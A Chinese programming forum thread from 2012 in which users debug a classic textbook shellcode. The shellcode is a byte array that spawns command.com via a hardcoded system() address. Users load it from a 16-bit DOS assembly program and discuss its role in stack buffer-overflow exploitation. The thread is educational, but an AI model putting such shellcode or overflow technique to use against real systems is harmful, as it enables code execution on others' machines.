| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1492 人关注过本帖
标题:一段程序求姐
只看楼主 加入收藏
一个孩子
Rank: 8Rank: 8
等 级:蝙蝠侠
威 望:5
帖 子:356
专家分:954
注 册:2012-10-1
收藏
得分:0 
太高深了。。。。

重要的不是结果,是求一个结果的过程,哪怕千难万难,当你有想要的结果时,你已走的很远
2012-11-21 11:28
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:0 
以下是引用zhu224039在2012-11-21 11:10:35的发言:

date segment
mm db 08Bh,0E5h,055h,08Bh,0ECh,083h,0ECh,0Ch,0B8h
   db 063h,06Fh,06Dh,06Dh,06Dh,06Dh,06Fh,063h,089h
   db 045h,0F4h,0B8h,061h,06Eh,064h,02Eh,089h,045h
   db 0F8h,0B8h,063h,06Fh,06Dh,022h,089h,045h,0FCh
   db 033h,0D2h,088h,055h,0FFh,08Dh,045h,0F4h
   db 050h,0B8h,024h,098h,01h,078h,0FFh,0D0h
xx dw 2 dup(?)
date ends
code segment
     assume cs:code,ds:date
start:  mov ax,date
       mov ds,ax
       mov cx,length mm
       mov si,offset mm
       mov ax,0000h
       mov es,ax
       mov di,0200h
       cld
       rep movsb
       mov bx,offset xx
       mov word ptr ,0200h
       mov word ptr ,0
       jmp dword ptr
      
       mov ah,4ch
       int 21h
code ends
   end start
这个汇编出来的程序报错  说什么无效指令  调试个汇编程序真要命,我范了两个错误,1.使用了汇编保留字做了段名  2 jmp指令格式 直接jmp 0000h:0200h了 搞了半天
我要抓狂了
32的汇编 懂是懂 可是书上是结合保护模式和实模式的方式写的
难道要我从实模式切换到保护模式运行 转移到内存中的机器码?
这个 32的汇编机器码  能不能在16位DOS程序里运行哟



推荐一本书给楼主   80x86汇编语言程序设计教程  杨季文 (编者)

这个 32的汇编机器码  能不能在16位DOS程序里运行哟
这句话可以这么理解:
你的机器的指令集支持   目标代码(可执行文件的格式这里应该是exe)是dos能识别的   16bit  dos是可以加载32位代码到内存中运行了   
通常x86的保护模式编程 也是自dos下完成的。。。

自由、民主、宪政!
2012-11-21 11:40
寒风中的细雨
Rank: 17Rank: 17Rank: 17Rank: 17Rank: 17
等 级:贵宾
威 望:66
帖 子:1710
专家分:8645
注 册:2009-9-15
收藏
得分:0 
学习~
2012-11-21 12:47
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:0 
以下是引用lwb603569640在2012-11-21 10:27:00的发言:

char shellcode[] = {
  0x8B,0xE5, /*mov esp, ebp */
  0x55, /*push ebp */
  0x8B,0xEC, /*mov ebp, esp */
  0x83,0xEC,0x0C, /*sub esp, 0000000C */
  0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
  0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
  0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
  0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
  0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
  0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
  0x33,0xD2, /*xor edx, edx */
  0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
  0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
  0x50, /*push eax */
  0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
  0xFF,0xD0 /*call eax */
  };

这个数组是精心设计的机器指令

自由、民主、宪政!
2012-11-21 13:22
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
程序代码:
date segment
mm db 08Bh,0E5h,055h,08Bh,0ECh,083h,0ECh,0Ch,0B8h
   db 063h,06Fh,06Dh,06Dh,06Dh,06Dh,06Fh,063h,089h
   db 045h,0F4h,0B8h,061h,06Eh,064h,02Eh,089h,045h
   db 0F8h,0B8h,063h,06Fh,06Dh,022h,089h,045h,0FCh
   db 033h,0D2h,088h,055h,0FFh,08Dh,045h,0F4h
   db 050h,0B8h,024h,098h,01h,078h,0FFh,0D0h
xx dw 2 dup(?)
date ends
code segment
     assume cs:code,ds:date
start:  mov ax,date
       mov ds,ax
       mov cx,offset xx-offset mm     ;这个地方由length更改来的 这样才是对的
       mov si,offset mm
       mov ax,0000h
       mov es,ax
       mov di,0200h
       cld
       rep movsb
       mov bx,offset xx
       mov word ptr [bx],0200h
       mov word ptr [bx+2],0
       jmp dword ptr [bx]
     
       mov ah,4ch
       int 21h
code ends
   end start

  

我要成为嘿嘿的黑客,替天行道
2012-11-21 20:08
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
debug 调试 确实是机器码出了问题 以下是debug的结果

08Bh,0E5h        mov sp,bp
055h             push bp
08Bh,0ECh        mov sp,bp
083h,0ECh,och    sub sp,0c
0B8h,063h,06Fh   mov ax,6f63
06Dh             db 6d          到这个地方CPU不认识这个db指令 后面连续的06dh,06dh 这个应该是 一个连续的动作 哎 看来我还是得自己汇编出自己的机器码

06Dh,06Dh,06Dh,06Fh,063h,089h
045h,0F4h,0B8h,061h,06Eh,064h,02Eh,089h,045h
0F8h,0B8h,063h,06Fh,06Dh,022h,089h,045h,0FCh
033h,0D2h,088h,055h,0FFh,08Dh,045h,0F4h
050h,0B8h,024h,098h,01h,078h,0FFh,0D0h

我要成为嘿嘿的黑客,替天行道
2012-11-21 20:21
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
你的上面对机器码的汇编转换不晓得是怎么弄出来的

能教我下么

我要成为嘿嘿的黑客,替天行道
2012-11-21 20:22
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:0 
昨晚回家查阅资料   发现一本书很适合解答楼主的问题
图片附件: 游客没有浏览图片的权限,请 登录注册

自由、民主、宪政!
2012-11-22 09:21
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:0 
我给楼主对这段代码想要实现的目的下个总结吧:


首先要对C语言的内存布局有所了解、通过字符串函数将shellcode字符数组复制到代码段
(注意:shellcode是一个精心编写的一组机器指令)、
然后就是让数据溢出将指令指针被覆盖使其指向shellcode,
接下来就是执行shellcode这段代码了。。。

自由、民主、宪政!
2012-11-22 09:36
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:0 
图片附件: 游客没有浏览图片的权限,请 登录注册
图片附件: 游客没有浏览图片的权限,请 登录注册
图片附件: 游客没有浏览图片的权限,请 登录注册
图片附件: 游客没有浏览图片的权限,请 登录注册
图片附件: 游客没有浏览图片的权限,请 登录注册
图片附件: 游客没有浏览图片的权限,请 登录注册
图片附件: 游客没有浏览图片的权限,请 登录注册
图片附件: 游客没有浏览图片的权限,请 登录注册
图片附件: 游客没有浏览图片的权限,请 登录注册
图片附件: 游客没有浏览图片的权限,请 登录注册


次序乱了  自己看页码

自由、民主、宪政!
2012-11-22 10:03
快速回复:一段程序求姐
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.033836 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved